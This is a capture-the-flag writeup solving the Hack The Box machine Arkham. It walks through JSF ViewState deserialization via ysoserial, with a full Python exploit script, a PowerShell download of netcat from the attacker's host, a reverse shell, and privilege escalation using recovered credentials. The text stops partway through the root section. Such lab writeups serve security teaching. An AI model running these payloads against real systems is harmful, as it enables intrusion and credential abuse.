---
search:
  exclude: true
---
# Arkham Writeup

![](img/40.png)

## Introduction :

Arkham is a Medium windows box released back in March 2019.

## **Part 1 : Initial Enumeration**

As always we begin our Enumeration using **Nmap** to enumerate opened ports. We will be using the flags **-sC** for default scripts and **-sV** to enumerate versions.
    
    
      [ 10.10.14.47/23 ] [ /dev/pts/3 ] [~]
      → sudo nmap -vvv -sTU -p- 10.10.10.130 --max-retries 0 -Pn --min-rate=1000 | grep Discovered
      [sudo] password for nothing:
      Discovered open port 139/tcp on 10.10.10.130
      Discovered open port 80/tcp on 10.10.10.130
      Discovered open port 135/tcp on 10.10.10.130
      Discovered open port 445/tcp on 10.10.10.130
      Discovered open port 8080/tcp on 10.10.10.130
      Discovered open port 49666/tcp on 10.10.10.130
      Discovered open port 49667/tcp on 10.10.10.130
    
      [ 10.10.14.47/23 ] [ /dev/pts/3 ] [~]
      → nmap -sCV -p139,80,135,445,8080,49666,49667 10.10.10.130
      Starting Nmap 7.80 ( https://nmap.org ) at 2020-04-16 16:20 BST
      Nmap scan report for 10.10.10.130
      Host is up (0.11s latency).
    
      PORT      STATE SERVICE       VERSION
      80/tcp    open  http          Microsoft IIS httpd 10.0
      | http-methods:
      |_  Potentially risky methods: TRACE
      |_http-server-header: Microsoft-IIS/10.0
      |_http-title: IIS Windows Server
      135/tcp   open  msrpc         Microsoft Windows RPC
      139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
      445/tcp   open  microsoft-ds?
      8080/tcp  open  http          Apache Tomcat 8.5.37
      | http-methods:
      |_  Potentially risky methods: PUT DELETE
      |_http-title: Mask Inc.
      49666/tcp open  msrpc         Microsoft Windows RPC
      49667/tcp open  msrpc         Microsoft Windows RPC
      Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
    
      Host script results:
      |_clock-skew: 1m54s
      | smb2-security-mode:
      |   2.02:
      |_    Message signing enabled but not required
      | smb2-time:
      |   date: 2020-04-16T15:23:28
      |_  start_date: N/A
    
      Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
      Nmap done: 1 IP address (1 host up) scanned in 98.29 seconds
    

## **Part 2 : Getting User Access**

Our nmap scan picked up port 80 and 8080 so let's investigate them:

![](prg/40_001.png)
    
    
      [ 10.10.14.47/23 ] [ /dev/pts/3 ] [~]
      → gobuster dir --url http://10.10.10.130:8080 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 50
      ===============================================================
      Gobuster v3.0.1
      by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
      ===============================================================
      [+] Url:            http://10.10.10.130:8080
      [+] Threads:        50
      [+] Wordlist:       /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
      [+] Status codes:   200,204,301,302,307,401,403
      [+] User Agent:     gobuster/3.0.1
      [+] Timeout:        10s
      ===============================================================
      2020/04/16 16:44:32 Starting gobuster
      ===============================================================
      /images (Status: 302)
      /css (Status: 302)
      /js (Status: 302)
      /fonts (Status: 302)
      Progress: 133887 / 220561 (60.70%)^C
      [!] Keyboard interrupt detected, terminating.
      ===============================================================
      2020/04/16 16:49:39 Finished
      ===============================================================
    

` ![](prg/40_002.png)

Forwarding the request the webpage returns the following: 

![](prg/40_003.png)

The url .faces may point out that the website is being hosted on JavaServer Faces, we can also see it in the post request that we captured: 
    
    
      POST /userSubscribe.faces HTTP/1.1
    Host: 10.10.10.130:8080
    User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
    Accept-Language: en-US,en;q=0.5
    Accept-Encoding: gzip, deflate
    Referer: http://10.10.10.130:8080/userSubscribe.faces
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 263
    DNT: 1
    Connection: close
    Cookie: JSESSIONID=861F4560D9A76BB7B7FB1DEC2E950CD3
    Upgrade-Insecure-Requests: 1
    
    j_id_jsp_1623871077_1%3Aemail=pr0metheus&j;_id_jsp_1623871077_1%3Asubmit=SIGN+UP&j;_id_jsp_1623871077_1_SUBMIT=1&**javax.faces.ViewState** =wHo0wmLu5ceItIi%2BI7XkEi1GAb4h12WZ894pA%2BZ4OH7bco2jXEy1RQxTqLYuokmO70KtDtngjDm0mNzA9qHjYerxo0jW7zu1mdKBXtxnT1RmnWUWTJyCuNcJuxE%3D
    

Onto which the javax.faces definitely hints us towards a JavaServer Faces. Now our nmap scan picked up the smb service running, so let's enumerate it using smbclient:
    
    
      [ 10.10.14.47/23 ] [ /dev/pts/3 ] [~]
      → smbclient -L //10.10.10.130/ -U ""
      Enter WORKGROUP\'s password:
    
      	Sharename       Type      Comment
      	---------       ----      -------
      	ADMIN$          Disk      Remote Admin
      	BatShare        Disk      Master Wayne's secrets
      	C$              Disk      Default share
      	IPC$            IPC       Remote IPC
      	Users           Disk
      SMB1 disabled -- no workgroup available
    

And we see an interesting share named "BatShare" so we log onto it : 
    
    
      [ 10.10.14.47/23 ] [ /dev/pts/3 ] [~/_HTB/Arkham]
    → smbclient -U anonymous //10.10.10.130/BatShare
    Enter WORKGROUP\anonymous's password:
    Try "help" to get a list of possible commands.
    smb: \> ls
      .                                   D        0  Sun Feb  3 13:00:10 2019
      ..                                  D        0  Sun Feb  3 13:00:10 2019
      appserver.zip                       A  4046695  Fri Feb  1 06:13:37 2019
    
    		5158399 blocks of size 4096. 2122527 blocks available
    smb: \> get appserver.zip
    getting file \appserver.zip of size 4046695 as appserver.zip (5027.8 KiloBytes/sec) (average 5027.8 KiloBytes/sec)
    smb: \> exit
    
    [ 10.10.14.47/23 ] [ /dev/pts/3 ] [~/_HTB/Arkham]
    → md5sum appserver.zip && file appserver.zip
    df93790f7ba2782cf59374e88dc52460  appserver.zip
    appserver.zip: Zip archive data, at least v2.0 to extract
    

And we get a zip file so we unzip it : 
    
    
      [ 10.10.14.47/23 ] [ /dev/pts/3 ] [~/_HTB/Arkham]
      → unzip appserver.zip
      Archive:  appserver.zip
        inflating: IMPORTANT.txt
        inflating: backup.img
    
      [ 10.10.14.47/23 ] [ /dev/pts/3 ] [~/_HTB/Arkham]
      → cat IMPORTANT.txt
      Alfred, this is the backup image from our linux server. Please see that The Joker or anyone else doesn't have unauthenticated access to it. - Bruce
    
      [ 10.10.14.47/23 ] [ /dev/pts/3 ] [~/_HTB/Arkham]
      → file backup.img
      backup.img: LUKS encrypted file, ver 1 [aes, xts-plain64, sha256] UUID: d931ebb1-5edc-4453-8ab1-3d23bb85b38e
    

And here we are dealing with a LUKS encrypted backup file which we have to crack, to do so we will first use dd to get the header hash: 
    
    
      [ 10.10.14.47/23 ] [ /dev/pts/3 ] [~/_HTB/Arkham]
      → dd if=backup.img of=luks-header bs=512 count=4097
      4097+0 records in
      4097+0 records out
      2097664 bytes (2.1 MB, 2.0 MiB) copied, 0.0342869 s, 61.2 MB/s
    
      [ 10.10.14.47/23 ] [ /dev/pts/3 ] [~/_HTB/Arkham]
      → file luks-header
      luks-header: LUKS encrypted file, ver 1 [aes, xts-plain64, sha256] UUID: d931ebb1-5edc-4453-8ab1-3d23bb85b38e
    
    

Once we have it we can use hashcat on it, however I didn't check the payload offset beforehand therefore the luks header i have right here is not the correct one : 
    
    
      [ 10.10.14.47/23 ] [ /dev/pts/3 ] [~/_HTB/Arkham]
      → sudo cryptsetup luksDump backup.img
      LUKS header information for backup.img
    
      Version:       	1
      Cipher name:   	aes
      Cipher mode:   	xts-plain64
      Hash spec:     	sha256
      **Payload offset:	4096**
      MK bits:       	256
      MK digest:     	9a 35 ab 3d b2 fe 09 d6 5a 92 bd 01 50 35 a6 ab dc ea 01 47
      MK salt:       	36 e8 8d 00 2f b0 3c 1f de 4d 9d 7b a6 9c 59 25
                     	7a e7 1d d7 89 3d 9c ab ef b6 09 8c a8 7b 87 13
      MK iterations: 	176409
      UUID:          	d931ebb1-5edc-4453-8ab1-3d23bb85b38e
    
      Key Slot 0: ENABLED
      	Iterations:         	2822546
      	Salt:               	3a db 8d 4b 9b f1 63 61 1b df a9 76 16 77 30 96
      	                      	5c 32 a9 aa e4 e7 9d cf 4e f5 9b 3f a1 4c 27 2f
      	Key material offset:	8
      	AF stripes:            	4000
      Key Slot 1: DISABLED
      Key Slot 2: DISABLED
      Key Slot 3: DISABLED
      Key Slot 4: DISABLED
      Key Slot 5: DISABLED
      Key Slot 6: DISABLED
      Key Slot 7: DISABLED
    

So here we see that the payload offset is actually 4096. 
    
    
      [ 10.10.14.47/23 ] [ /dev/pts/3 ] [~/_HTB/Arkham]
      → dd if=backup.img of=luks-header bs=512 count=4097
      4097+0 records in
      4097+0 records out
      2097664 bytes (2.1 MB, 2.0 MiB) copied, 0.0342137 s, 61.3 MB/s
    
      [ 10.10.14.47/23 ] [ /dev/pts/3 ] [~/_HTB/Arkham]
      → hashcat -m 14600 luks-header /usr/share/wordlists/rockyou.txt
    

Let it run, and once it's done we get the password "batmanforever". Now we can mount it using cryptsetup: 
    
    
      [ 10.10.14.47/23 ] [ /dev/pts/3 ] [~/_HTB/Arkham]
      → sudo cryptsetup luksOpen backup.img arkham
      Enter passphrase for backup.img:
    
      [ 10.10.14.47/23 ] [ /dev/pts/3 ] [~/_HTB/Arkham]
      → ls -lash /dev/mapper
      total 0
      0 drwxr-xr-x  2 root root      80 Apr 16 19:41 .
      0 drwxr-xr-x 20 root root    3.7K Apr 16 19:41 ..
      0 lrwxrwxrwx  1 root root       7 Apr 16 19:41 arkham -> ../dm-0
      0 crw-------  1 root root 10, 236 Apr 16 19:41 control
    

Now that arkham is there in /dev/mapper we can mount it: 
    
    
      [ 10.10.14.47/23 ] [ /dev/pts/3 ] [~/_HTB/Arkham]
      → sudo mount /dev/mapper/arkham /mnt
    
      [ 10.10.14.47/23 ] [ /dev/pts/3 ] [~/_HTB/Arkham]
      → cd /mnt
    
      [ 10.10.14.47/23 ] [ /dev/pts/3 ] [/mnt]
      → ls
      lost+found  Mask
    
      [ 10.10.14.47/23 ] [ /dev/pts/3 ] [/mnt]
      → cd Mask
    
      [ 10.10.14.47/23 ] [ /dev/pts/3 ] [/mnt/Mask]
      → ls
      docs  joker.png  me.jpg  mycar.jpg  robin.jpeg  tomcat-stuff
    

We can simply use thunar to view the images in there: 

![](prg/40_004.png)

We have a bunch of images, but the interesting part is in the tomcat-stuff directory.
    
    
      [ 10.10.14.47/23 ] [ /dev/pts/3 ] [/mnt/Mask]
      → cd tomcat-stuff && ls
      context.xml       jaspic-providers.xml  server.xml        web.xml
      faces-config.xml  MANIFEST.MF           tomcat-users.xml  web.xml.bak
    

Preety much everything here is default except for web.xml.bak: 

![](prg/40_005.png)

So this "secret" myfaces.SECRET value SnNGOTg3Ni0= can be used to decrypt the javax.faces.ViewState value which is very likely to contain a vulnerability as this [post](https://www.alphabot.com/security/blog/2017/java/Misconfigured-JSF-ViewStates-can-lead-to-severe-RCE-vulnerabilities.html) suggests: 
    
    
      POST /userSubscribe.faces HTTP/1.1
    Host: 10.10.10.130:8080
    User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
    Accept-Language: en-US,en;q=0.5
    Accept-Encoding: gzip, deflate
    Referer: http://10.10.10.130:8080/userSubscribe.faces
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 263
    DNT: 1
    Connection: close
    Cookie: JSESSIONID=861F4560D9A76BB7B7FB1DEC2E950CD3
    Upgrade-Insecure-Requests: 1
    
    j_id_jsp_1623871077_1%3Aemail=pr0metheus&j;_id_jsp_1623871077_1%3Asubmit=SIGN+UP&j;_id_jsp_1623871077_1_SUBMIT=1&**javax.faces.ViewState=** wHo0wmLu5ceItIi%2BI7XkEi1GAb4h12WZ894pA%2BZ4OH7bco2jXEy1RQxTqLYuokmO70KtDtngjDm0mNzA9qHjYerxo0jW7zu1mdKBXtxnT1RmnWUWTJyCuNcJuxE%3D
    
    

Now to do so we'll create a python script: 
    
    
      [ 10.10.14.47/23 ] [ /dev/pts/3 ] [~/_HTB/Arkham]
      → ls
      appserver.zip  backup.img  IMPORTANT.txt  luks-header
    
      [ 10.10.14.47/23 ] [ /dev/pts/3 ] [~/_HTB/Arkham]
      → nano exploit.py
    
    
    
      from base64 import b64decode, b64encode
      from hashlib import sha1
    
      def decrypt_view_state(view_state):
              key=b64decode('SnGOTg3Ni0=')
    
      print(decrypt_view_state("wHo0wmLu5ceItIi%2BI7XkEi1GAb4h12WZ894pA%2BZ4OH7bco2jXEy1RQxTqLYuokmO70KtDtngjDm0mNzA9qHjYerxo0jW7zu1mdKBXtxnT1RmnWUWTJyCuNcJuxE%3D"))
    
    

Now our problem here is that we don't know how it was encrypted, so we go and read the documentation and find the DES algorithm:
    
    
      import pyDes, hmac
      from base64 import b64decode, b64encode
      from hashlib import sha1
    
      def decrypt_view_state(view_state):
              key=b64decode('SnGOTg3Ni0=')
              obj = pyDes.des(key, pyDes.ECB, padmode=pyDes.PAD_PKCS5)
              view_state=b64decode(view_state)
              view_state=view_state + b'\x00\x00\x00\x00'
              print(len(view_state))
              dec = obj.decrypt(view_state)
              return dec
    
      print(decrypt_view_state("wHo0wmLu5ceItIi%2BI7XkEi1GAb4h12WZ894pA%2BZ4OH7bco2jXEy1RQxTqLYuokmO70KtDtngjDm0mNzA9qHjYerxo0jW7zu1mdKBXtxnT1RmnWUWTJyCuNcJuxE="))
    

Which reveals us that we are working with a java object with padding. So from there we create a payload using ysoserial:
    
    
    
      [ 10.10.14.47/23 ] [ /dev/pts/0 ] [~/_HTB/Arkham]
      → wget https://jitpack.io/com/github/frohoff/ysoserial/master-SNAPSHOT/ysoserial-master-SNAPSHOT.jar
      --2020-04-17 08:38:02--  https://jitpack.io/com/github/frohoff/ysoserial/master-SNAPSHOT/ysoserial-master-SNAPSHOT.jar
      Resolving jitpack.io (jitpack.io)... 104.26.9.99, 104.26.8.99, 2606:4700:20::681a:863, ...
      Connecting to jitpack.io (jitpack.io)|104.26.9.99|:443... connected.
      HTTP request sent, awaiting response... 302 Found
      Location: /com/github/frohoff/ysoserial/master-30099844c6-1/ysoserial-master-30099844c6-1.jar [following]
      --2020-04-17 08:38:03--  https://jitpack.io/com/github/frohoff/ysoserial/master-30099844c6-1/ysoserial-master-30099844c6-1.jar
      Reusing existing connection to jitpack.io:443.
      HTTP request sent, awaiting response... 200 OK
      Length: 56112629 (54M) [application/java-archive]
      Saving to: ‘ysoserial-master-SNAPSHOT.jar’
    
      ysoserial-master-SNAPSH 100%[=============================>]  53.51M  9.50MB/s    in 5.6s
    
      Last-modified header invalid -- time-stamp ignored.
      2020-04-17 08:38:08 (9.61 MB/s) - ‘ysoserial-master-SNAPSHOT.jar’ saved [56112629/56112629]
    
    

From which we are able to do java -jar : 
    
    
    
      [ 10.10.14.47/23 ] [ /dev/pts/0 ] [~/_HTB/Arkham]
      → java -jar ysoserial-master-SNAPSHOT.jar
      Y SO SERIAL?
      Usage: java -jar ysoserial-[version]-all.jar [payload] '[command]'
        Available payload types:
      Apr 17, 2020 8:38:44 AM org.reflections.Reflections scan
      INFO: Reflections took 217 ms to scan 1 urls, producing 18 keys and 146 values
           Payload             Authors                                Dependencies
           -------             -------                                ------------
           BeanShell1          @pwntester, @cschneider4711            bsh:2.0b5
           C3P0                @mbechler                              c3p0:0.9.5.2, mchange-commons-java:0.2.11
           Clojure             @JackOfMostTrades                      clojure:1.8.0
           CommonsBeanutils1   @frohoff                               commons-beanutils:1.9.2, commons-collections:3.1, commons-logging:1.2
           CommonsCollections1 @frohoff                               commons-collections:3.1
           CommonsCollections2 @frohoff                               commons-collections4:4.0
           CommonsCollections3 @frohoff                               commons-collections:3.1
           CommonsCollections4 @frohoff                               commons-collections4:4.0
           CommonsCollections5 @matthias_kaiser, @jasinner            commons-collections:3.1
           CommonsCollections6 @matthias_kaiser                       commons-collections:3.1
           CommonsCollections7 @scristalli, @hanyrax, @EdoardoVignati commons-collections:3.1
           FileUpload1         @mbechler                              commons-fileupload:1.3.1, commons-io:2.4
           Groovy1             @frohoff                               groovy:2.3.9
           Hibernate1          @mbechler
           Hibernate2          @mbechler
           JBossInterceptors1  @matthias_kaiser                       javassist:3.12.1.GA, jboss-interceptor-core:2.0.0.Final, cdi-api:1.0-SP1, javax.interceptor-api:3.1, jboss-interceptor-spi:2.0.0.Final, slf4j-api:1.7.21
           JRMPClient          @mbechler
           JRMPListener        @mbechler
           JSON1               @mbechler                              json-lib:jar:jdk15:2.4, spring-aop:4.1.4.RELEASE, aopalliance:1.0, commons-logging:1.2, commons-lang:2.6, ezmorph:1.0.6, commons-beanutils:1.9.2, spring-core:4.1.4.RELEASE, commons-collections:3.1
           JavassistWeld1      @matthias_kaiser                       javassist:3.12.1.GA, weld-core:1.1.33.Final, cdi-api:1.0-SP1, javax.interceptor-api:3.1, jboss-interceptor-spi:2.0.0.Final, slf4j-api:1.7.21
           Jdk7u21             @frohoff
           Jython1             @pwntester, @cschneider4711            jython-standalone:2.5.2
           MozillaRhino1       @matthias_kaiser                       js:1.7R2
           MozillaRhino2       @_tint0                                js:1.7R2
           Myfaces1            @mbechler
           Myfaces2            @mbechler
           ROME                @mbechler                              rome:1.0
           Spring1             @frohoff                               spring-core:4.1.4.RELEASE, spring-beans:4.1.4.RELEASE
           Spring2             @mbechler                              spring-core:4.1.4.RELEASE, spring-aop:4.1.4.RELEASE, aopalliance:1.0, commons-logging:1.2
           URLDNS              @gebl
           Vaadin1             @kai_ullrich                           vaadin-server:7.7.14, vaadin-shared:7.7.14
           Wicket1             @jacob-baines                          wicket-util:6.23.0, slf4j-api:1.6.4
    
    

in java myfaces there is alot of common collections, so we'll use CommonsCollections5:
    
    
    
      [ 10.10.14.47/23 ] [ /dev/pts/0 ] [~/_HTB/Arkham]
      → java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections5 'cmd /c ping -n 10.10.14.3'
      detailMessagetLjava/lang/String;[alueExpExceptionګc-F@LvaltLjava/lang/Object;xrjava.lang.Exception>;xrjava.lang.Throwable5'9wLcausetLjava/lang/Throwable;L
      stackTracet[Ljava/lang/StackTraceElement;LsuppressedExceptionstLjava/util/List;xpqpur[Ljava.lang.StackTraceElement;F*<<"9xpsrava.lang.StackTraceElementa        Ś&BformatI;
      lineNumberLclassLoaderNameq~LdeclaringClassq~fileNameq~L
      methodNameq~L
      moduleVersionq~xpQtappt&ysoserial.payloads.CommonsCollections5tCommonsCollections5.javat;        getObjectppsq~
      q~q~q~ppsq~                                                                                                   3q~
      tysoserial.GeneratePayloadtGeneratePayload.javatmainppsrjava.util.Collections$EmptyListz<****xpxsr4org.apache.commons.collections.keyvalue.TiedMapEntryқ9Lkeyq~LmaptLjava/util/Map;xptfoosr*org.apaiTransformerst-[Lorg/apache/commons/collections/Transformer;xpur-[Lorg.apache.commons.collections.Transformer;V*4xpsr;org.apache.commons.collections.functors.ConstantTransformerXvAL   iConstantq~xpvrjava.lang.Runtimexpsr:org.apache.commons.collections.functors.InvokerTransformerk{|8[iArgst[Ljava/lang/Object;L
                                                                                                                             iMethodNameq~[
                                                                                                                                           iParamTypest[Ljava/lang/Class;xpur[Ljava.lang.Object;Xs)lxpt
      getRuntimeur[Ljava.lang.Class;׮Zxpt     getMethoduq~/vrjava.lang.String8z;Bxpvq~/sq~(uq~,puq~,tinvokeuq~/vrjava.lang.Objectxpvq~,sq~(ur[Ljava.lang.String;V{Gxptcmd /c ping -n 10.10.14.3texecuq~/q~4sq~$srjava.lang.Integer⠤8Ivaluexrjava.lang.Number
                                                             xpsrjava.util.HashMap`F
      loadFactorI     thresholdxp?@xx%
    
      [ 10.10.14.47/23 ] [ /dev/pts/0 ] [~/_HTB/Arkham]
      → java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections5 'cmd /c ping -n 10.10.14.47' > payload.bin
    
      [ 10.10.14.47/23 ] [ /dev/pts/0 ] [~/_HTB/Arkham]
      → nano exploit.py

So we saved our payload as payload.bin, now we edit our previous exploit:
    
    
      import pyDes, hmac
      from base64 import b64decode, b64encode
      from hashlib import sha1
    
      def create_payload():
              payload=open('payload.bin','rb').read()
              return encrypt_payload(payload)
    
      def encrypt_payload(payload):
              key=b64decode('SnGOTg3Ni0=')
              obj = pyDes.des(key, pyDes.ECB, padmode=pyDes.PAD_PKCS5)
              enc = obj.encrypt(payload)
              hash_val = (hmac.new(key, bytes(enc),sha1).digest())
              payload= enc + hash_val
              return b64encode(payload)
    
      def decrypt_view_state(view_state):
              key=b64decode('SnGOTg3Ni0=')
              obj = pyDes.des(key, pyDes.ECB, padmode=pyDes.PAD_PKCS5)
              view_state=b64decode(view_state)
              view_state=view_state + b'\x00\x00\x00\x00'
              dec = obj.decrypt(view_state)
              return dec
    
      print(decrypt_view_state("wHo0wmLu5ceItIi%2BI7XkEi1GAb4h12WZ894pA%2BZ4OH7bco2jXEy1RQxTqLYuokmO70KtDtngjDm0mNzA9qHjYerxo0jW7zu1mdKBXtxnT1RmnWUWTJyCuNcJuxE="))
      print(create_payload()
    

To which we add the http POST request we need:
    
    
      import requests
      import pyDes, hmac
      from base64 import b64decode, b64encode
      from hashlib import sha1
    
      def create_payload():
              payload=open('payload.bin','rb').read()
              return encrypt_payload(payload)
    
      def encrypt_payload(payload):
              key=b64decode('SnGOTg3Ni0=')
              obj = pyDes.des(key, pyDes.ECB, padmode=pyDes.PAD_PKCS5)
              enc = obj.encrypt(payload)
              hash_val = (hmac.new(key, bytes(enc),sha1).digest())
              payload= enc + hash_val
              return b64encode(payload)
    
      def decrypt_view_state(view_state):
              key=b64decode('SnGOTg3Ni0=')
              obj = pyDes.des(key, pyDes.ECB, padmode=pyDes.PAD_PKCS5)
              view_state=b64decode(view_state)
              view_state=view_state + b'\x00\x00\x00\x00'
              dec = obj.decrypt(view_state)
              return dec
    
      #print(decrypt_view_state("wHo0wmLu5ceItIi%2BI7XkEi1GAb4h12WZ894pA%2BZ4OH7bco2jXEy1RQxTqLYuokmO70KtDtngjDm0mNzA9qHjYerxo0jW7zu1mdKBXtxnT1RmnWUWTJyCuNcJuxE="))
      #print(create_payload())
    
      def exploit():
              url='http://10.10.10.130:8080/userPr0metheus.faces'
              view_state=create_payload()
              data = { 'javax.faces.ViewState' : view_state }
              requests.post(url,data=data)
    
      exploit()
    
    

So here we have our exploit which sends a javax.faces.ViewState payload to ping ourselves basically. We could check it with the following command:
    
    
      [ 10.10.14.47/23 ] [ /dev/pts/0 ] [~/_HTB/Arkham]
      → tcpdump -i tun0 icmp
    
    

So from here we need to upload nc64.exe to spawn a reverse shell:
    
    
      [ 10.10.14.47/23 ] [ /dev/pts/0 ] [~/_HTB/Arkham]
      → java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections5 'powershell.exe -exec bypass Invoke-WebRequest "http://10.10.14.47:9000/nc64.exe" -OutFile "c:\windows\system32\spool\drivers\color\nc64.exe"' > xct_is_awesome
    
    
    

So far we've used [ippsec's](https://www.youtube.com/watch?v=krC5j1Ab44I) steps, but to for additional diversity, we can use [hipotermia's](https://hipotermia.pw/htb/arkham) python script in order to upload netcat and then use it to get a reverse shell:
    
    
      import urllib
      import base64
      import subprocess
      import requests
      import hashlib
      import pyDes
      import hmac
      import sys
    
      url= "http://10.10.10.130:8080/userSubscribe.faces"
      r=requests.get(url)
      cookie=r.headers['set-cookie']
    
      cmd=sys.argv[1]
    
      secret = base64.b64decode("SnNGOTg3Ni0=")
      cipher = pyDes.des(secret, pad=None, padmode=pyDes.PAD_PKCS5)
    
      ysoserial= 'java -jar ../ysoserial-master-SNAPSHOT.jar CommonsCollections6 "' +cmd+'"'
      payload=subprocess.check_output(ysoserial,shell=True)
      payload=cipher.encrypt(payload)
      hmacSignature= hmac.new(secret,payload,hashlib.sha1).digest()
      payload=base64.b64encode(payload + hmacSignature)
      payload=urllib.parse.quote(payload)
    
      headers = {"Cookie":cookie,"Content-Type":"application/x-www-form-urlencoded"}
      data="j_id_jsp_1623871077_1%3Aemail=nihilist&j;_id_jsp_1623871077_1%3Asubmit=SIGN+UP&j;_id_jsp_1623871077_1_SUBMIT=1&javax.faces.ViewState;="+payload
      r= requests.post(url, data=data, headers=headers)
    
    

As you can see i updated his script a bit because the urllib needed to become urllib.parse in python3, so we'll first test if it works by making the machine ping back to us : 

![](prg/40_006.png)

And we made the machine ping us ! from there we need to make the machine download netcat.exe from us, and execute it. 

![](prg/40_007.png)

it doesn't seem to work so we'll go for [snowscan's](https://snowscan.io/htb-writeup-arkham/) solution which consists in saving the netcat binary in \programdata\ instead. 

![](prg/40_008.png)
    
    
    
      [ 10.10.14.47/23 ] [ /dev/pts/8 ] [~/_HTB/Arkham]
      → nc -lvnp 9001
      listening on [any] 9001 ...
      connect to [10.10.14.47] from (UNKNOWN) [10.10.10.130] 49779
      Microsoft Windows [Version 10.0.17763.107]
      (c) 2018 Microsoft Corporation. All rights reserved.
    
      C:\tomcat\apache-tomcat-8.5.37\bin>whoami
      whoami
      arkham\alfred
    
      C:\tomcat\apache-tomcat-8.5.37\bin>cd C:\Users\Alfred\Desktop
      cd C:\Users\Alfred\Desktop
    
      C:\Users\Alfred\Desktop>type user.txt
      type user.txt
      baXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
    
    

And that's it ! we have been able to print out the user flag. 

## **Part 3 : Getting Root Access**

Now to privesc on this box we need to take a look into Alfred's download directory:
    
    
    
      C:\Users\Alfred\Desktop>cd ..
      cd ..
    
      C:\Users\Alfred>cd Downloads
      cd Downloads
    
      C:\Users\Alfred\Downloads>dir
      dir
       Volume in drive C has no label.
       Volume Serial Number is FA90-3873
    
       Directory of C:\Users\Alfred\Downloads
    
      02/03/2019  08:48 AM    <****DIR>          .
      02/03/2019  08:48 AM <****DIR>          ..
      02/03/2019  08:41 AM <****DIR>          backups
                     0 File(s)              0 bytes
                     3 Dir(s)   7,898,488,832 bytes free
    
      C:\Users\Alfred\Downloads>cd backups
      cd backups
    
      C:\Users\Alfred\Downloads\backups>dir
      dir
       Volume in drive C has no label.
       Volume Serial Number is FA90-3873
    
       Directory of C:\Users\Alfred\Downloads\backups
    
      02/03/2019  08:41 AM <****DIR>          .
      02/03/2019  08:41 AM <****DIR>          ..
      02/03/2019  08:41 AM           124,257 backup.zip
                     1 File(s)        124,257 bytes
                     2 Dir(s)   7,898,488,832 bytes free

Into which we find a certain backup.zip file that we send over to our local machine:

![](prg/40_009.png)

So we unzip it and we find an .ost file that is an Outlook email folder That we can read using readpst, which you can install like so : 
    
    
    
      [ 10.10.14.47/23 ] [ /dev/pts/6 ] [~/_HTB/Arkham]
      → sudo apt install pst-utils
    
      [ 10.10.14.47/23 ] [ /dev/pts/5 ] [_HTB/Arkham/hipotermia]
      → readpst alfred@arkham.local.ost
      Opening PST file and indexes...
      Processing Folder "Deleted Items"
      Processing Folder "Inbox"
      Processing Folder "Outbox"
      Processing Folder "Sent Items"
      Processing Folder "Calendar"
      Processing Folder "Contacts"
      Processing Folder "Conversation Action Settings"
      Processing Folder "Drafts"
      Processing Folder "Journal"
      Processing Folder "Junk E-Mail"
      Processing Folder "Notes"
      Processing Folder "Tasks"
      Processing Folder "Sync Issues"
              "Inbox" - 0 items done, 7 items skipped.
      Processing Folder "RSS Feeds"
      Processing Folder "Quick Step Settings"
              "alfred@arkham.local.ost" - 15 items done, 0 items skipped.
              "Calendar" - 0 items done, 3 items skipped.
              "Drafts" - 1 items done, 0 items skipped.
      Processing Folder "Conflicts"
      Processing Folder "Local Failures"
      Processing Folder "Server Failures"
              "Sync Issues" - 3 items done, 0 items skipped.
    

In the drafts folder we have an interesting email with a b64 encoded attached image:
    
    
    
      [ 10.10.14.47/23 ] [ /dev/pts/5 ] [_HTB/Arkham/hipotermia]
      → file Drafts.mbox
      Drafts.mbox: HTML document, ASCII text, with very long lines
    
      [ 10.10.14.47/23 ] [ /dev/pts/5 ] [_HTB/Arkham/hipotermia]
      → nano Drafts.mbox
    
    

` ![](prg/40_010.png)
    
    
      echo 'B64STRING' | base64 -d > image001.png
    
    

` ![](prg/40_011.png)

And so from here we have the user batman's credentials : batman:Zx^#QZX+T!123
    
    
    
      C:\Users\Alfred\Downloads\backups>net user batman
      net user batman
      User name                    Batman
      Full Name
      Comment
      User's comment
      Country/region code          001 (United States)
      Account active               Yes
      Account expires              Never
    
      Password last set            2/3/2019 9:25:50 AM
      Password expires             Never
      Password changeable          2/3/2019 9:25:50 AM
      Password required            Yes
      User may change password     Yes
    
      Workstations allowed         All
      Logon script
      User profile
      Home directory
      Last logon                   4/18/2020 8:16:05 AM
    
      Logon hours allowed          All
    
      Local Group Memberships      *Administrators       *Remote Management Use
                                   *Users
      Global Group memberships     *None
      The command completed successfully.
    
    

here we see that batman is a member of the Administrator group. So we privesc to batman using powershell:
    
    
    
      C:\Users\Alfred>powershell
      powershell
      Windows PowerShell
      Copyright (C) Microsoft Corporation. All rights reserved.
    
      PS C:\Users\Alfred> $user = 'batman'
      $user = 'batman'
      PS C:\Users\Alfred> $pass = 'Zx^#QZX+T!123'
      $pass = 'Zx^#QZX+T!123'
      PS C:\Users\Alfred> $secPass = ConvertTo-SecureString $pass -AsPlainText -Force
      $secPass = ConvertTo-SecureString $pass -AsPlainText -Force
      PS C:\Users\Alfred> $cred = New-Object System.Management.Automation.PSCredential $user, $secPass
      $cred = New-Object System.Management.Automation.PSCredential $user, $secPass
      PS C:\Users\Alfred> enter-pssession -computername arkham -credential $cred
      enter-pssession -computername arkham -credential $cred
      [arkham]: PS C:\Users\Batman\Documents> whoami
      whoami
      arkham\batman
    
    

Now that we are logged in as the user batman, we see that we can't actually get into the Administrator directory:
    
    
    
      [arkham]: PS C:\Users\Batman\Documents> cd \users\administrator\desktop
